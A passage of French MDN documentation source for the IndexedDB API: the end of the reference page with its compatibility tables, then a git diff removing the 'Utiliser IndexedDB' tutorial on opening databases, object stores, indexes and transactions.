{{domxref("IDBTransaction")}}
-
Représente une transaction. Vous créez une transaction sur la base de données, spécifiez la portée (comme à quel magasin d'objets vous souhaitez accèder), et déterminez le type d'accès désiré (lecture seule ou lecture et écriture).
-
{{domxref("IDBRequest")}}
-
Interface générique qui récupère les requêtes à la base de données et fournit un accès aux résultats.
-
{{domxref("IDBObjectStore")}}
-
Représente un magasin d'objets qui permet l'accès à un ensemble de données d'une base de données IndexedDB, recherché par clé primaire.
-
{{domxref("IDBIndex")}}
-
Permet aussi d'accèder à un sous-ensemble de données d'une base IndexedDB mais utilise un index pour récupérer les enregistrements, au lieu d'une clé primaire. C'est parfois plus rapide qu'un usage de {{domxref("IDBObjectStore")}}.
-
{{domxref("IDBCursor")}}
-
Itérateur sur les magasins d'objets et les index.
-
{{domxref("IDBCursorWithValue")}}
-
Itérateur sur les magasins d'objets et les index et retourne la valeur courante du curseur.
-
{{domxref("IDBKeyRange")}}
-
Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée.
-
{{domxref("IDBLocaleAwareKeyRange")}} {{Non-standard_inline}}
-
Définit une portée de valeurs qui peut être utilisée pour récupérer des données de la base de données dans une certaine portée, triées en fonction des règles de la localisation spécifiée pour un certain index (voir createIndex()'s optionalParameters).
-
- -

Interfaces d'événements personnalisés

- -

Cette spécification provoque des évènements avec les interfaces personnalisées suivantes:

- -
-
{{domxref("IDBVersionChangeEvent")}}
-
L'interface IDBVersionChangeEvent indique que la version de la base de données à changé, résultat de la fonction de saisie d'un évènement  {{domxref("IDBOpenDBRequest.onupgradeneeded")}}.
-
- -

Interfaces obsolètes

- -

Une précedente version des spécifications a défini ces interfaces, désormais supprimées. Elles sont toujours documentées dans le cas où vous avez besoin de mettre à jour du code déja écrit :

- -
-
{{domxref("IDBVersionChangeRequest")}} {{obsolete_inline}}
-
Représente une requête de changement de version de la base de données. Le moyen pour changer de version de la base de données a désormais changé (avec un appel de {{domxref("IDBFactory.open")}} sans aussi appeler {{domxref("IDBDatabase.setVersion")}}), et l'interface  {{domxref("IDBOpenDBRequest")}} a désormais la fonction de l'ancienne (supprimée) {{domxref("IDBVersionChangeRequest")}}.
-
{{domxref("IDBDatabaseException")}}  {{obsolete_inline}}
-
Représente une exception (erreur) qui peut survenir durant les opérations sur la base de données.
-
{{domxref("IDBTransactionSync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBTransaction")}}.
-
{{domxref("IDBObjectStoreSync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBObjectStore")}}.
-
{{domxref("IDBIndexSync")}} {{obsolete_inline}}
-
Version synchrone de  {{domxref("IDBIndex")}}.
-
{{domxref("IDBFactorySync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBFactory")}}.
-
{{domxref("IDBEnvironmentSync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBEnvironment")}}.
-
{{domxref("IDBDatabaseSync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBDatabase")}}.
-
{{domxref("IDBCursorSync")}} {{obsolete_inline}}
-
Version synchrone de {{domxref("IDBCursor")}}.
-
- -

Exemples

- - - -

Spécifications

- - - - - - - - - - - - - - - - - - - -
SpécificationStatutCommentaire
{{SpecName('IndexedDB')}}{{Spec2('IndexedDB')}}Définition initiale
{{SpecName("IndexedDB 2")}}{{Spec2("IndexedDB 2")}}
- -

Compatibilité des navigateurs

- -

{{CompatibilityTable}}

- -
-
-
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéChromeEdgeFirefox (Gecko)Internet ExplorerOperaSafari (WebKit)
Basic support{{CompatChrome(23)}}{{property_prefix("webkit")}}
- {{CompatChrome(24)}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoDesktop("10.0")}} {{property_prefix("moz")}}
- {{CompatGeckoDesktop("16.0")}}		1015 -

7.1, partial
- 10

-
Available in workers{{CompatVersionUnknown}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoDesktop("37.0")}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}10
Available in privacy mode[3]{{CompatVersionUnknown}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}
IDBLocaleAwareKeyRange{{CompatNo}}{{CompatNo}}{{CompatGeckoDesktop("43.0")}}[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
-
- -
- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
FonctionnalitéAndroid WebviewChrome for AndroidEdgeFirefox Mobile (Gecko)Firefox OSIE/Edge PhoneOpera MobileSafari Mobile
Basic support{{CompatVersionUnknown}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoMobile("22.0")}}1.0.110{{CompatOpera(22)}}8, partial
- 10
Available in workers{{CompatVersionUnknown}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}} (unprefixed)
- {{CompatChrome(38)}} (prefixes deprecated)
- {{CompatChrome(57)}} (prefixes removed)		{{CompatVersionUnknown}}{{CompatGeckoMobile("37.0")}}[1]{{CompatVersionUnknown}}{{CompatVersionUnknown}}{{CompatVersionUnknown}}10
Available in privacy mode[3]{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatUnknown}}{{CompatUnknown}}
IDBLocaleAwareKeyRange{{CompatNo}}{{CompatNo}}{{CompatNo}}{{CompatGeckoMobile("43.0")}}[2]2.5[2]{{CompatNo}}{{CompatNo}}{{CompatNo}}
Indexed Database 2.0{{CompatChrome(58)}}{{CompatChrome(58)}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatUnknown}}{{CompatOpera(45)}}{{CompatUnknown}}
-
-
-
- -
    -
  • [1] {{domxref("IDBCursorWithValue")}} n'est pas disponible dans les workers jusqu'à Gecko 42.0 {{geckoRelease("42.0")}}.
    • -
  • [2] Cette fonctions est actuellement cachée — pour l'activer et l'experimenter, aller dans about:config et activer dom.indexedDB.experimental.
    • -
  • [3] AKA "Private Browsing Mode" (Firefox) et "Incognito" (Chrome).
    • -
- -

Voir aussi

- -
    -
  • localForage: Un Polyfill fournissant une syntaxe clé-valeurs simple pour un stockage côté client; il utilise IndexedDB en arrière plan, mais se retourne d'abord sur WebSQL puis sur localStorage pour les navigateurs qui ne supportent pas IndexedDB.
    • -
  • dexie.js : Un wrapper pour IndexedDB qui permet un développement plus rapide avec une syntaxe simple.
    • -
  • ZangoDB : Une interface MongoDB-like pour indexedDB qui prend en charge la plupart des fonctionnalités familières de filtrage, projection, tri, mise à jour et agrégation de MongoDB.
    • -
  • JsStore : Un contenu indexedDB avec SQL comme syntaxe.
    • -
  • MiniMongo
    • -
  • PouchDB
    • -
diff --git a/files/fr/web/api/api_indexeddb/using_indexeddb/index.html b/files/fr/web/api/api_indexeddb/using_indexeddb/index.html deleted file mode 100644 index a8df123888..0000000000 --- a/files/fr/web/api/api_indexeddb/using_indexeddb/index.html +++ /dev/null @@ -1,1337 +0,0 @@ ---- -title: Utiliser IndexedDB -slug: Web/API/API_IndexedDB/Using_IndexedDB -tags: - - Avancé - - Base de données - - Guide - - IndexedDB - - Stockage - - Tutoriel -translation_of: Web/API/IndexedDB_API/Using_IndexedDB ---- -

IndexedDB est un moyen de stocker des données de manière persistante dans un navigateur. Cela vous laisse créer des applications web avec de riches possibilités de requêtes indépendamment de la disponibilité du réseau puisque vos applications peuvent fonctionner en ligne ou hors-ligne. 

- -

À propos de ce document

- -

Ce tutoriel vous guide à travers l'utilisation de l'API asynchrone de IndexedDB. Si vous n'êtes pas familier avec le principe de IndexedDB, vous devriez d'abord lire les concepts basiques d'IndexedDB.

- -

Pour la documentation de référence sur l'API d'IndexedDB, voyez l'article IndexedDB et ses sous-parties, qui détaille les types d'objets utilisés par IndexedDB, ainsi que les méthodes sur l'API asynchrone (l'API synchrone a été retirée de la spécification).

- -

Modèle de base

- -

Le modèle de base qu'IndexedDB utilise est le suivant :

- -
    -
  1. Ouvrir une base de données.
    2. -
  2. Créer un objet de stockage dans la base de données. 
    3. -
  3. Démarrer une transaction, et faire des requêtes pour faire quelques opérations sur des bases de données, comme ajouter, ou récupérer des données.
    4. -
  4. -
    Attendre que l'exécution soit terminée, en écoutant le bon type d'événement DOM.
    -
    5. -
  5. -
    Faire quelque chose avec les résultats (qui peuvent être trouvés dans l'objet de la requête).
    -
    6. -
- -

Maintenant que nous avons ces grands concepts en poche, nous pouvons voir des choses plus concrètes.

- -

Créer et structurer l'objet de stockage

- -

Étant donné que la spécification évolue encore, les implémentations actuelles de IndexedDB se cachent sous les préfixes du navigateur. Les fournisseurs de navigateurs peuvent avoir des implémentations différentes de l'API IndexedDB standard jusqu'à ce que la spécification se soit solidifiée. Mais une fois qu'un consensus est atteint sur la norme, les fournisseurs l'implémentent sans les balises de préfixe. Actuellement, certaines implémentations ont supprimé le préfixe : Internet Explorer 10, Firefox 16, Chrome 24. Lorsqu'ils utilisent un préfixe, les navigateurs basés sur Gecko utilisent le préfixe moz, tandis que les navigateurs WebKit utilisent le préfixe webkit.

- -

Utiliser une version expérimentale d'IndexedDB

- -

Au cas où vous souhaiteriez tester votre code dans des navigateurs qui utilisent toujours un préfixe, vous pouvez utiliser le code suivant :  

- -
// Sur la ligne suivante, vous devez inclure les préfixes des implémentations que vous souhaitez tester.
-window.indexedDB = window.indexedDB || window.mozIndexedDB || window.webkitIndexedDB || window.msIndexedDB;
-// N'UTILISEZ PAS "var indexedDB = ..." si vous n'êtes pas dans une fonction.
-// De plus, vous pourriez avoir besoin de réferences à des objets window.IDB*:
-window.IDBTransaction = window.IDBTransaction || window.webkitIDBTransaction || window.msIDBTransaction;
-window.IDBKeyRange = window.IDBKeyRange || window.webkitIDBKeyRange || window.msIDBKeyRange
-// (Mozilla n'a jamais préfixé ces objets, donc nous n'avons pas besoin de window.mozIDB*)
- -

Faites attention aux implémentations qui utilisent un préfixe ; elles peuvent être boguées, incomplètes, voire suivre une ancienne version de la spécification. Il n'est donc pas recommandé d'utiliser en production. Il serait préférable de ne pas supporter ces navigateurs :

- -
if (!window.indexedDB) {
-    window.alert("Votre navigateur ne supporte pas une version stable d'IndexedDB. Quelques fonctionnalités ne seront pas disponibles.")
-}
-
- -

Ouvrir une base de données

- -

On commence l'ensemble du processus comme ceci :

- -
// Ouvrons notre première base
-var request = window.indexedDB.open("MyTestDatabase", 3);
-
- -

Vous avez vu ? Ouvrir une base de données est comme n'importe quelle autre opération — vous avez juste à le "demander".

- -

La requête "open" n'ouvre pas la base de données ni ne démarre une transaction aussitôt. L'appel de la fonction open() retourne un objet IDBOpenDBRequest avec un résultat  (success) ou une valeur d'erreur qui permet de la gérer comme un évènement. La plupart des autres fonctions asynchrones dans IndexedDB fonctionnent de la même façon ; Elles retournent un objet IDBRequest avec le résultat ou une erreur. Le résultat de la fonction "open" est une instance de IDBDatabase.

- -

Le second paramètre de la méthode open est la version de la base de données. La version de la base détermine le schéma de celle-ci — Les objets stockés dans la base de données et leur structure. Si la base de données n'existe pas déjà, elle est créée via l'opération open(), puis, un événement onupgradeneeded est déclenché et vous créez le schéma de la base dans le gestionnaire pour cet événement. Si la base de données existe, mais que vous spécifiez un numéro de version plus élevé, un événement onupgradeneeded est déclenché  immédiatement, vous permettant de mettre à jour le schéma dans son gestionnaire – plus d'informations dans Updating the version of the database plus bas et la page référence {{ domxref("IDBFactory.open") }}.

- -
-

Important: Le numéro de version est un nombre "unsigned long long" ce qui signifie qu'il peut s'agir d'un entier très grand. Cela veut également dire que vous ne pouvez pas utiliser de réél, sinon, il sera converti au nombre entier le plus proche (inférieur) et la transaction peut ne pas démarrer ou ne pas déclencher l'événement upgradeneeded. Par exemple, n'utilisez pas 2.4 comme un numéro de version :
- var request = indexedDB.open("MyTestDatabase", 2.4); // Ne faites pas ça, même si la version sera arrondie à 2

-
- -

Générer des gestionnaires

- -

La première chose que vous ferez avec la plupart des requêtes que vous générerez sera d'ajouter des gestionnaires de succès ou d'erreurs :

- -
request.onerror = function(event) {
-  // Faire quelque chose avec request.errorCode !
-};
-request.onsuccess = function(event) {
-  // Faire quelque chose avec request.result !
-};
- -

Laquelle de ces deux fonctions, onsuccess() or onerror(), sera appelée ? Si tout se passe bien, un évènement success (qui est un évènement DOM dont la propriété type est à "success") est déclenché avec request comme cible. Une fois déclenché, la fonction onsuccess() de request est lancée avec l'évènement success comme argument. S’il y avait un quelconque problème, un évènement erreur (qui est un évènement DOM dont la propriété type est définie à "error") est lancée dans request. Cela déclenche la fonction onerror() avec l'évènement d'erreur comme argument.

- -

L'API IndexedDB est conçue pour minimiser le recours à la gestion des erreurs, donc vous ne serez pas amené à voir beaucoup d'évènements erreurs (du moins, pas tant que vous utilisez l'API !). Cependant, dans le cas d'une ouverture de base de données, il y a quelques conditions qui génèrent des évènements d'erreurs. Le problème le plus courant est que l'utilisateur a décidé d'interdire l'accès à la création de base de données. Un des principaux objectifs d’IndexedDB est de permettre un stockage important de données pour l'utilisation hors-ligne. (Pour en savoir plus sur la capacité de stockage de chaque navigateur, voyez Storage limits).

- -

Évidemment, les navigateurs ne peuvent permettre qu'une publicité en ligne ou un site malicieux pollue votre ordinateur, donc ils informent l’utilisateur la première fois qu'une application web tente d'ouvrir un espace de stockage IndexedDB. L'utilisateur peut choisir de permettre ou refuser l'accès. En ce qui concerne l’utilisation d’IndexedDB en mode privé, les données restent en mémoire jusqu’à ce que la session privée soit close (Navigation privée pour Firefox et mode Incognito pour Chrome, mais dans Firefox, cela n'est pas encore implémenté depuis novembre 2015, aussi vous ne pouvez pas utiliser IndexedDB dans le mode privé de Firefo du tout).

- -

Maintenant, en admettant qu’un utilisateur ait accepté la création d'une base, et que vous receviez un évènement "success" qui déclenche le callback (rappel) "success" ; que se passe-il après ? La requête a génèré un appel à indexedDB.open(), donc request.result est une instance de IDBDatabase, et vous voulez garder en mémoire cela pour plus tard. Votre code devrait ressembler à ceci :

- -
var db;
-var request = indexedDB.open("MyTestDatabase");
-request.onerror = function(event) {
-  alert("Pourquoi ne permettez-vous pas à ma web app d'utiliser IndexedDB?!");
-};
-request.onsuccess = function(event) {
-  db = event.target.result;
-};
-
- -

Gérer les erreurs

- -

Comme mentionné ci-dessus, les évènements d’erreur génèrent des info-bulles. Ils  sont rattachés à la requête qui a généré l’erreur, puis la bulle de l'évènement est transmis à la transaction, et enfin à l'objet de la base de données. Si vous souhaitez éviter d'ajouter un gestionnaire d'erreurs à chaque requête, vous pouvez en ajouter un unique à l'objet de la base de donnée, de cette manière :

- -
db.onerror = function(event) {
-  // Gestionnaire d'erreur générique pour toutes les erreurs de requêtes de cette base
-  alert("Database error: " + event.target.errorCode);
-};
-
- -

Une des erreurs courantes possibles lorsqu'on ouvre une base de données, c'est VER_ERR. Celle-ci indique que la version de la base de données stockée sur le disque est supérieure à la version que vous êtes en train d'essayer d'ouvrir. C'est un cas qui doit toujours être pris en considération par le gestionnaire d'erreurs.

- -

Créer ou mettre à jour une version de base de données

- -

Lorsque vous créez une nouvelle base de données, ou que vous augmentez le numéro de version d'une base existante (en spécifiant un numéro de version supérieur à celui que vous aviez auparavant, lors de {{ anch("Ouvrir une base de données") }}), l'évènement onupgradeneeded sera déclenché et un objet IDBVersionChangeEvent sera passé à un évènement onversionchange dans request.result (la variable db dans l'exemple). Dans le gestionnaire d’évènement upgradeneeded, vous devez créer les objets de stockage requis pour cette version de base :

- -
// Cet évènement est seulement implémenté dans des navigateurs récents
-request.onupgradeneeded = function(event) {
-  var db = event.target.result;
-
-  // Crée un objet de stockage pour cette base de données
-  var objectStore = db.createObjectStore("name", { keyPath: "myKey" });
-};
- -

Dans ce cas, la base de données disposera aussitôt des objets de stockage de la version précédente de la base, donc vous n’aurez pas à créer de nouveau ces objets de stockage. Vous aurez seulement besoin de créer de nouveaux objets de stockage, ou d'en supprimer de la version précédente si vous n'en avez plus besoin. Si vous avez besoin de changer un objet de stockage existant  (par exemple, pour changer la keyPath), alors vous devez supprimer l’ancien objet de stockage et le créer à nouveau avec les nouveaux paramètres. Notez que ceci supprimera les informations dans l'objet de stockage ! Si vous avez besoin de sauvegarder ces informations, vous devez les lire et les sauvegarder quelque part avant de mettre à jour la base de données.

- -

Essayer de créer un objet de stockage avec un nom déjà existant (ou essayer de supprimer un objet de stockage avec un nom qui n'existe pas encore) renverra une erreur. 

- -

Si l'évènement onupgradeneeded quitte avec succès, le gestionnaire onsuccess de la requête d'ouverture de la base de données sera déclenché. 

- -

Blink/Webkit supporte la version courante de la spécification, telle que livrée dans Chrome 23+ et Opera 17+ ; IE10+ également. Les autres implémentations plus anciennes ne prennent pas en charge indexedDB.open(name, version).onupgradeneeded. Pour plus d'informations sur la mise à jour de version de base de données sur les anciens Webkit/Blink, référez vous à IDBDatabase reference article.

- -

Structurer la base de données

- -

Maintenant, structurons la base de données. IndexedDB utilise des objets de stockage plutôt que des tableaux, et une seule base de données peut contenir un nombre quelconque d'objets de stockage. Chaque fois qu'une valeur est stockée dans un objet de stockage, elle est associée à une clé. Il y a différentes manières pour une clé d'être définie, selon que l'objet de stockage utilise un key path (chemin de clé) ou un key generator (générateur de clé).

- -

Le tableau suivant montre les différentes manières d'attribuer des clés.

- - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - -
Key Path chemin de clé (keyPath)Key Generator générateur de clé (autoIncrement)Description
NonNonL'objet de stockage peut contenir n'importe quel type de valeur, même des valeurs primitives comme des nombres ou des chaînes de caractères. Vous devez fournir un argument clé séparé chaque fois que vous souhaitez ajouter une nouvelle valeur.
OuiNonL'objet de stockage peut contenir des objets JavaScript. Les objets doivent avoir une propriété qui a le même nom que le key path.
NonOuiL'objet de stockage peut contenir n'importe quel type de valeur. La clé est générée pour vous automatiquement, ou vous pouvez fournir un argument  clé séparé si vous voulez utiliser une clé spécifique.
OuiOuiL'objet de stockage peut contenir des objets JavaScript. Normalement, une clé est générée, et sa valeur est stockée dans l'objet dans une propriété avec le même nom que le key path. Cependant, si une telle propriété existe, sa valeur est utilisée en tant que clé, plutôt que la génération d'une nouvelle clé.
- -

Vous pouvez aussi créer des index sur un objet de stockage, à condition que l'objet de stockage contienne des objets, et non des primitives. Un index vous permet de consulter les valeurs stockées dans un objet de stockage en utilisant la valeur d'une propriété de l'objet stocké, plutôt que la clé de l'objet.

- -

En outre, les index ont la capacité d'appliquer des contraintes simples sur les données stockées. En paramétrant l'option unique lorsque l'on crée un index, ce dernier fait que deux objets ne peuvent être enregistrés en ayant la même valeur pour le chemin de clé de l'index. Par exemple, si vous avez un objet de stockage qui contient un ensemble de personnes, et que vous voulez vous assurer que deux personnes n’aient pas la même adresse de courriel, vous pouvez utiliser un index avec le paramètre unique à true.

- -

Cela peut sembler confus, mais ce simple exemple devrait illustrer ces concepts. D'abord, nous définissons quelques données client à utiliser dans notre exemple :

- -
// Voici à quoi ressemblent nos données client.
-const customerData = [
-  { ssn: "444-44-4444", name: "Bill", age: 35, email: "bill@company.com" },
-  { ssn: "555-55-5555", name: "Donna", age: 32, email: "donna@home.org" }
-];
- -

Bien sûr, vous n'utiliseriez pas le numéro de sécurité sociale comme clé primaire dans une table clients parce que tout le monde n'a pas de numéro de sécurité sociale, et vous pourriez stocker leur date de naissance au lieu de leur âge, mais laissons ces choix non pertinents pour des raisons de commodité et continuons.

- -

Maintenant, voyons la création d'une base de données pour stocker ces données :

- -
const dbName = "the_name";
-
-var request = indexedDB.open(dbName, 2);
-
-request.onerror = function(event) {
-  // Gestion des erreurs.
-};
-request.onupgradeneeded = function(event) {
-  var db = event.target.result;
-
-  // Créer un objet de stockage qui contient les informations de nos clients.
-  // Nous allons utiliser "ssn" en tant que clé parce qu'il est garanti d'être
-  // unique - du moins, c'est ce qu'on en disait au lancement.
-  var objectStore = db.createObjectStore("customers", { keyPath: "ssn" });
-
-  // Créer un index pour rechercher les clients par leur nom. Nous pourrions
-  // avoir des doublons (homonymes), alors on n'utilise pas d'index unique.
-  objectStore.createIndex("name", "name", { unique: false });
-
-  // Créer un index pour rechercher les clients par leur adresse courriel. Nous voulons nous
-  // assurer que deux clients n'auront pas la même, donc nous utilisons un index unique.
-  objectStore.createIndex("email", "email", { unique: true });
-
-  // Utiliser la transaction "oncomplete" pour être sûr que la création de l'objet de stockage
-  // est terminée avant d'ajouter des données dedans.
-  objectStore.transaction.oncomplete = function(event) {
-    // Stocker les valeurs dans le nouvel objet de stockage.
-    var customerObjectStore = db.transaction("customers", "readwrite").objectStore("customers");
-    for (var i in customerData) {
-      customerObjectStore.add(customerData[i]);
-    }
-  }
-};
- -
Comme indiqué précédemment, onupgradeneeded est le seul endroit où vous pouvez modifier la structure de la base de données. Dans cette méthode, vous pouvez créer et supprimer des objets de stockage, construire et supprimer des index.
- -
- -

Les objets de stockage sont créés avec un simple appel à createObjectStore(). La méthode prend le nom du stockage et un paramètre de type objet. Même si les paramètres sont optionnels, ils vous laissent définir d'importantes propriétés et redéfinir le type d'un objet de stockage que vous voulez créer. Dans notre cas, nous avons demandé un objet de stockage nommé "customers" et défini un keyPath, qui est la propriété rendant unique un objet individuel dans le stockage. Cette propriété dans l'exemple est "ssn" puisqu'un numéro de sécurité sociale est garanti unique. "ssn" doit être présent sur chaque objet stocké dans objectStore.

- -

Nous avons aussi demandé un index nommé "name" qui examine la propriété name dans les objets stockés. Comme avec createObjectStore(), createIndex() prend un paramètre de type objet facultatif (options) qui définit le type d’index à créer. Ajouter des objets qui n’auront pas de propriété name fonctionnera, mais ces objets n'apparaîtront pas dans l'index "name".

- -

Nous pouvons récupérer les objets client stockés, en utilisant directement leur ssn dans l'objet de stockage, ou en utilisant leur nom via l’index name. Pour en savoir plus sur ce fonctionnement, se référer à la section utiliser un index.

- -

Utiliser le générateur de clés

- -

Paramétrer un marqueur autoIncrement lorsque l'on crée un objet de stockage activera le générateur de clés pour cet objet de stockage. Par défault, ce marqueur n'est pas défini.

- -

Avec la générateur de clés, une clé sera générée automatiquement lorsque vous ajoutez une valeur dans un objet de stockage. Le compteur initial pour la génération de clés est toujours défini à 1 lorsque l'objet de stockage est créé pour la première fois. Fondamentalement, une nouvelle clé auto-générée sera incrémentée de 1 par rapport à la précédente. Le nombre courant d'un générateur de clé ne décroit jamais, à moins qu'un résultat d'opération sur la base soit annulé, par exemple, l'abandon d'une transaction sur la base. En conséquence, supprimer un enregistrement, voire l'ensemble des enregistrements d'un objet de stockage n'affecte jamais le générateur de clés d'un objet de stockage.

- -

Nous pouvons créer un autre objet de stockage avec un générateur de clés comme ci-dessous :

- -
// Ouverture d'indexedDB.
-var request = indexedDB.open(dbName, 3);
-
-request.onupgradeneeded = function (event) {
-
-    var db = event.target.result;
-
-    // Création d'un autre objet appelé "names" avec l'option autoIncrement définie à true.
-    var objStore = db.createObjectStore("names", { autoIncrement : true });
-
-    // Puisque l'objet "names" a un générateur de clés, la clé pour la valeur name est générée automatiquement.
-    // Les enregistrements ajoutés ressembleront à ceci :
-    // key : 1 => value : "Bill"
-    // key : 2 => value : "Donna"
-    for (var i in customerData) {
-        objStore.add(customerData[i].name);
-    }
-}
- -

Pour plus de détails sur le générateur de clés, voyez "W3C Key Generators".

- -

Ajouter, récupérer et supprimer des données

- -

Avant de faire quoi que ce soit avec votre nouvelle base de données, vous aurez besoin de démarrer une transaction. Les transactions viennent de l'objet base de données, et vous devez spécifier sur quel objet vous souhaitez faire pointer la transaction. Une fois dans la transaction, vous pouvez accéder à l'objet de stockage qui contient vos données et faire vos requêtes. Puis, vous devez décider si vous allez appliquer des changements à la base de données, ou si vous avez juste besoin de la lire. Les transactions disposent de trois modes disponibles: readonly (lecture seule), readwrite (lecture/écriture), et versionchange (changement de version).

- -

Pour changer le "schéma" ou la structure de la base de données — qui implique de créer ou supprimer des objets de stockage ou des index — la transaction doit être en mode versionchange. Cette transaction est ouverte en appelant la méthode {{domxref("IDBFactory.open")}}  avec une version spécifiée. (Dans les navigateurs WebKit, qui n'ont pas implémenté la dernière spécification, la méthode {{domxref("IDBFactory.open")}} prend seulement un paramètre, le nom de la base de données ; Vous devez donc appeler {{domxref("IDBVersionChangeRequest.setVersion")}} pour établir la transaction versionchange.)

- -

Pour lire les enregistrements d'un objet de stockage existant, la transaction peut être en mode readonlyou readwrite. Pour appliquer des changements à un objet de stockage existant, la transaction doit être en mode readwrite. Vous démarrez ces transactions avec {{domxref("IDBDatabase.transaction")}}. La méthode accepte deux paramètres : les storeNames (la portée, définie comme un tableau des objets de stockage auxquels vous souhaitez accéder) et le mode (readonly ou readwrite) pour la transaction. La méthode retourne un objet de transaction contenant la méthode {{domxref("IDBIndex.objectStore")}}, que vous utilisez pour accéder à votre objet de stockage. Par défaut, lorsqu'aucun mode n'est spécifié, les transactions démarrent en mode readonly.

- -
-

Note: À partir de Firefox 40, les transactions IndexedDB ont des garanties de durabilité relachées afin d'augmenter les performances (voir {{Bug("1112702")}}.) Auparavant, lors d'une transaction readwrite {{domxref("IDBTransaction.oncomplete")}} était déclenché seulement lorsque les données étaient garanties pour une écriture sur le disque. Dans Firefox 40+ l'évènement complete est déclenché une fois que l'OS a autorisé l'écriture de données, mais potentiellement avant que les données soient réellement écrites sur le disque. L'évènement complete peut ainsi être livré plus vite qu'avant, cependant, il existe un petit risque que l'ensemble de la transaction soit perdu si l'OS s'effondre ou si un problème électrique survient avant que les données soient écrites. Comme de tels évènements catastrophiques sont rares, la plupart des utilisateurs n'ont pas à s'en soucier. Si vous devez vous assurer de la durabilité pour quelconque raison que ce soit (par exemple, vous stockez des données critiques qui ne peuvent être recalculées plus tard) vous pouvez forcer une transaction à écrire sur le disque avant que l'évènement complete ne soit délivré en créant une transaction utilisant un mode expérimental (non-standard) readwriteflush  (se référer à {{domxref("IDBDatabase.transaction")}}.

-
- -

Vous pouvez accélérer l'accès à vos données en utilisant le bon mode et la bonne portée dans la transaction. Voici deux astuces :

- -
    -
  • Lorsque vous définissez la portée, spécifiez uniquement les objets de stockage dont vous avez besoin. De cette manière, vous pouvez exécuter plusieurs transactions simultanément sans qu'elles se chevauchent.
    • -
  • Spécifier le mode readwrite pour une transaction seulement lorsque c'est nécessaire. Vous pouvez exécuter simulaténement plusieurs transactions readonly avec chevauchements, mais vous ne pouvez avoir qu'une seule transaction readwrite dans un objet de stockage. Pour en savoir plus, regardez la définition des transactions dans l'article des concepts de base.
    • -
- -

Ajouter des données dans la base de données

- -

Si vous venez juste de créer une base de données, alors vous souhaitez probablement écrire dedans. Voici comment ça se passe :

- -
var transaction = db.transaction(["customers"], "readwrite");
-// Note: Les anciennes implémentations utilisent la constante dépréciée IDBTransaction.READ_WRITE au lieu de "readwrite".
-// Au cas où vous souhaitiez mettre en oeuvre ces implémentations, vous pouvez écrire :
-// var transaction = db.transaction(["customers"], IDBTransaction.READ_WRITE);
- -

La fonction transaction() prend deux arguments (bien que l'un d'eux soit facultatif) et retourne un objet transaction. Le premier argument est une liste d'objets de stockage que la transaction va traiter. Vous pouvez passer un tableau vide si vous voulez que la transaction traite l'ensemble des objets de stockage, mais ne le faites pas, parce que la spécification indique qu'un tableau vide devrait générer une InvalidAccessError. Si vous ne spécifiez rien pour le deuxième argument, vous démarrerez une transaction "read-only" (lecture seule) . Si vous souhaitez aussi écrire, vous devrez passer l'option "readwrite" (lecture/écriture).

- -

Maintenant que vous avez une transaction, vous devez comprendre sa durée de vie. Les transactions sont étroitement liées à la boucle de l'évènement. Si vous établissez une transaction et si vous sortez de la boucle d'évènements sans l'utiliser, alors la transaction deviendra inactive. La seule manière de garder la transaction active est d'y insérer une requête. Lorsque la requête est terminée, vous obtenez un évènement DOM, et en supposant que la requête ait réussi, vous avez une autre opportunité d'étendre la transaction durant ce "callback" (rappel). Si vous sortez de la boucle d'évènements sans étendre la transaction, alors elle devient inactive, etc… Tant qu'il reste des demandes en attente, la transaction reste active. La durée de vie des transactions est vraiment très simple, mais cela peut prendre un peu de temps de la maîtriser. Quelques exemples supplémentaires aideront. Si vous commencez à voir des codes d'erreur TRANSACTION_INACTIVE_ERR, alors vous avez raté quelque chose.

- -

Les transactions peuvent recevoir des évènements DOM de trois types : error (erreur), abort (abandonnée) et complete (terminée). Nous avons déjà parlé du fait que les error créent des bulles, ainsi une transaction peut recevoir des évènements d'erreur venant de n'importe quelle requête l'ayant généré. Un point plus subtil ici, c'est que le comportement par défaut d'une erreur est d'abandonner la transaction là où elle a eu lieu. A moins que vous gériez l’erreur en appelant d'abord stopPropagation() sur l’évènement erreur, puis que vous fassiez quelque chose d'autre, la transaction complète sera annulée. Cette conception vous oblige à réfléchir et gérer les erreurs, mais vous pouvez toujours ajouter un gestionnaire d'erreurs "fourre-tout" à la base de données si la gestion d'erreurs fines est trop lourde. Si vous ne gérez pas un évènement d'erreur, ou si vous appelez abort() sur la transaction, alors la transaction est annulée et un évènement abort est lancé sur la transaction. Sinon, une fois que toutes les demandes en instance sont terminées, vous recevez un évènement complete. Si vous faites beaucoup d'opérations sur les bases de données, alors 